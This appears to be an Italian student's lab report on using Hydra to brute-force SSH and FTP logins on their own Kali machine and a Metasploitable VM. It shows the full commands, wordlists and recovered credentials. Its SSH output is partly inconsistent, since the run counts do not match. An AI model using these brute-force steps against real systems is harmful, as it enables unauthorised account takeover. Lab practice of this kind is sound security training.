

L'esercizio di oggi ha un duplice scopo:

- Fare pratica con Hydra per craccare l'autenticazione dei servizi di rete;
- Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

Si svilupperà in due fasi:

- Una prima fase dove configureremo un nuovo utente, abilateremo un servizio SSH e effettueremo una sessione di cracking con l'ausilio del tool Hydra;
- Una seconda fase dove saremo liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili: Ftp, Rtp, Telnet, autenticazione HTTP.

1. Creiamo un nuovo utente che verrà usato come test nella sessione di cracking

```
(giorgio@kali)-[~]
└─$ sudo adduser test_user
[sudo] password for giorgio:
info: Adding user 'test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group 'test_user' (1001) ...
info: Adding new user 'test_user' (1001) with group 'test_user (1001)' ...
info: Creating home directory '/home/test_user' ...
info: Copying files from '/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []: test_user
    Room Number []:
    Work Phone []:
    Home Phone []:
      Other []:
Is the information correct? [Y/n] Y
info: Adding new user 'test_user' to supplemental / extra groups 'users' ...
info: Adding user 'test_user' to group 'users' ...
```

2. Attiviamo il servizio SSH e testiamo la possibilità di connetterci con l'utente creato in precedenza

```
(giorgio@kali)-[~]
└─$ sudo service ssh start

(giorgio@kali)-[~]
└─$ sudo nano /etc/ssh/ssh_config

(giorgio@kali)-[~]
└─$ ssh test_user@192.168.1.203
The authenticity of host '192.168.1.203 (192.168.1.203)' can't be established.
ED25519 key fingerprint is SHA256:W93NhdsH0XsD0C2E3WedFBCCq0qbv8UzhYuTc0/ujLg.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.203' (ED25519) to the list of known hosts.
test_user@192.168.1.203's password:
Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
(test_user@kali)-[~]
└─$
```

PRATICA S6L4 – Giorgio Trovesi

3. Installiamo la lista di username e password che verranno utilizzate da Hydra nei tentativi di Brute Force

```
(giorgio@kali)~$ sudo apt install seclists
[sudo] password for giorgio:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  seclists
0 upgraded, 1 newly installed, 0 to remove and 815 not upgraded.
Need to get 431 MB of archives.
After this operation, 1756 MB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.3-0kali1 [431 MB]
Fetched 431 MB in 9s (45.6 MB/s)
Selecting previously unselected package seclists.
(Reading database ... 399868 files and directories currently installed.)
Preparing to unpack .../seclists_2023.3-0kali1_all.deb ...
Unpacking seclists (2023.3-0kali1) ...
Setting up seclists (2023.3-0kali1) ...
Processing triggers for kali-menu (2023.4.3) ...
Processing triggers for wordlists (2023.2.0) ...

(giorgio@kali)~$
```

4. Tramite l'utilizzo del tool Hydra proviamo a recuperare username e password validi, e come constatabile nelle immagini seguenti sono state recuperate

```
(giorgio@kali)~$ hydra -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 192.168.1.203 -t4 ssh -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
[DATA] max 4 tasks per 1 server, overall 4 tasks, 829545500000 login tries (1:8295455/p:1000000), ~2073863750000 tries per task
[DATA] attacking ssh/192.168.1.203:22/
[ATTEMPT] target 192.168.1.203 - login "info" - pass "123456" - 1 of 8295455000000 [child 0] (0/0)
[ATTEMPT] target 192.168.1.203 - login "info" - pass "password" - 2 of 8295455000000 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "info" - pass "12345678" - 3 of 8295455000000 [child 2] (0/0)
[ATTEMPT] target 192.168.1.203 - login "info" - pass "qwerty" - 4 of 8295455000000 [child 3] (0/0)
```

```
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "password" - 9 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "qwerty" - 10 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "testpass" - 11 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "asdf4444" - 12 of 16 [child 0] (0/0)
[22][ssh] host: 192.168.1.203 login: test_user password: testpass
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "password" - 13 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "qwerty" - 14 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "testpass" - 15 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "asdf4444" - 16 of 16 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
```

5. Installiamo e attiviamo il servizio Ftp che utilizzeremo per un'ulteriore test con Hydra

```
(giorgio@kali)~$ sudo apt install vsftpd
[sudo] password for giorgio:
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 815 not upgraded.
Need to get 142 kB of archives.
After this operation, 351 kB of additional disk space will be used.
Get:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Fetched 142 kB in 2s (94.1 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 405421 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13+b2_amd64.deb ...
Unpacking vsftpd (3.0.3-13+b2) ...
Setting up vsftpd (3.0.3-13+b2) ...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for man-db (2.11.2-3) ...
Processing triggers for kali-menu (2023.4.3) ...

(giorgio@kali)~$ sudo service vsftpd start
```

6. Anche con questo servizio Hydra è stato in grado di recuperare username e password validi come si evince dalla seguente immagine

```
(giorgio@kali) ~/Desktop/Modulo2
$ hydra -l userhydra.txt -P passhydra.txt 192.168.1.203 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 16:25:03
[DATA] max 4 tasks per 1 server, overall 4 tasks, 16 login tries (l:4/p:4), ~4 tries per task
[DATA] attacking ftp://192.168.1.203:21/
[ATTEMPT] target 192.168.1.203 - login "admin" - pass "password" - 1 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.203 - login "admin" - pass "qwerty" - 2 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "admin" - pass "testpass" - 3 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.203 - login "admin" - pass "asdf4444" - 4 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "direttore" - pass "password" - 5 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "direttore" - pass "qwerty" - 6 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.203 - login "direttore" - pass "testpass" - 7 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "direttore" - pass "asdf4444" - 8 of 16 [child 2] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "password" - 9 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "qwerty" - 10 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "testpass" - 11 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "test_user" - pass "asdf4444" - 12 of 16 [child 2] (0/0)
[21][ftp] host: 192.168.1.203 login: test_user password: testpass
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "password" - 13 of 16 [child 1] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "qwerty" - 14 of 16 [child 0] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "testpass" - 15 of 16 [child 3] (0/0)
[ATTEMPT] target 192.168.1.203 - login "epicode" - pass "asdf4444" - 16 of 16 [child 2] (0/0)
1 of 1 target successfully completed, 1 valid password found
```

7. Successivamente abbiamo testato l'utilizzo del tool Hydra sul servizio Ftp della macchina Metasploitable, come possiamo notare anche in questo caso è riuscito a individuare username e password di accesso

```
(giorgio@kali) ~/Desktop/Modulo2
$ hydra -l userhydra.txt -P passhydra.txt 192.168.50.101 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-11-03 16:40:44
[DATA] max 4 tasks per 1 server, overall 4 tasks, 25 login tries (l:5/p:5), ~7 tries per task
[DATA] attacking ftp://192.168.50.101:21/
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 1 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "qwerty" - 2 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "testpass" - 3 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "msfadmin" - 4 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "asdf4444" - 5 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "direttore" - pass "password" - 6 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "direttore" - pass "qwerty" - 7 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "direttore" - pass "testpass" - 8 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "direttore" - pass "msfadmin" - 9 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "direttore" - pass "asdf4444" - 10 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "password" - 11 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "qwerty" - 12 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "testpass" - 13 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "msfadmin" - 14 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "test_user" - pass "asdf4444" - 15 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 16 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 17 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 18 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 19 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "asdf4444" - 20 of 25 [child 2] (0/0)
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin
[ATTEMPT] target 192.168.50.101 - login "epicode" - pass "password" - 21 of 25 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "epicode" - pass "qwerty" - 22 of 25 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "epicode" - pass "testpass" - 23 of 25 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "epicode" - pass "msfadmin" - 24 of 25 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "epicode" - pass "asdf4444" - 25 of 25 [child 0] (0/0)
1 of 1 target successfully completed, 1 valid password found
```